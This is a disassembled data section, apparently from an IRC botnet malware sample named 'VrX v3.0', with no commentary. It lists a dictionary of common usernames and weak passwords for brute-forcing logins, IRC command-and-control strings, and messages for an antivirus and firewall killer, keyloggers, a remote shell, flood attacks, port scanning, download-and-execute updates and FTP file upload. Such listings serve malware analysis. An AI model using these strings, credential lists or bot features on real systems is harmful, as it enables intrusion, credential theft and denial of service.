aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
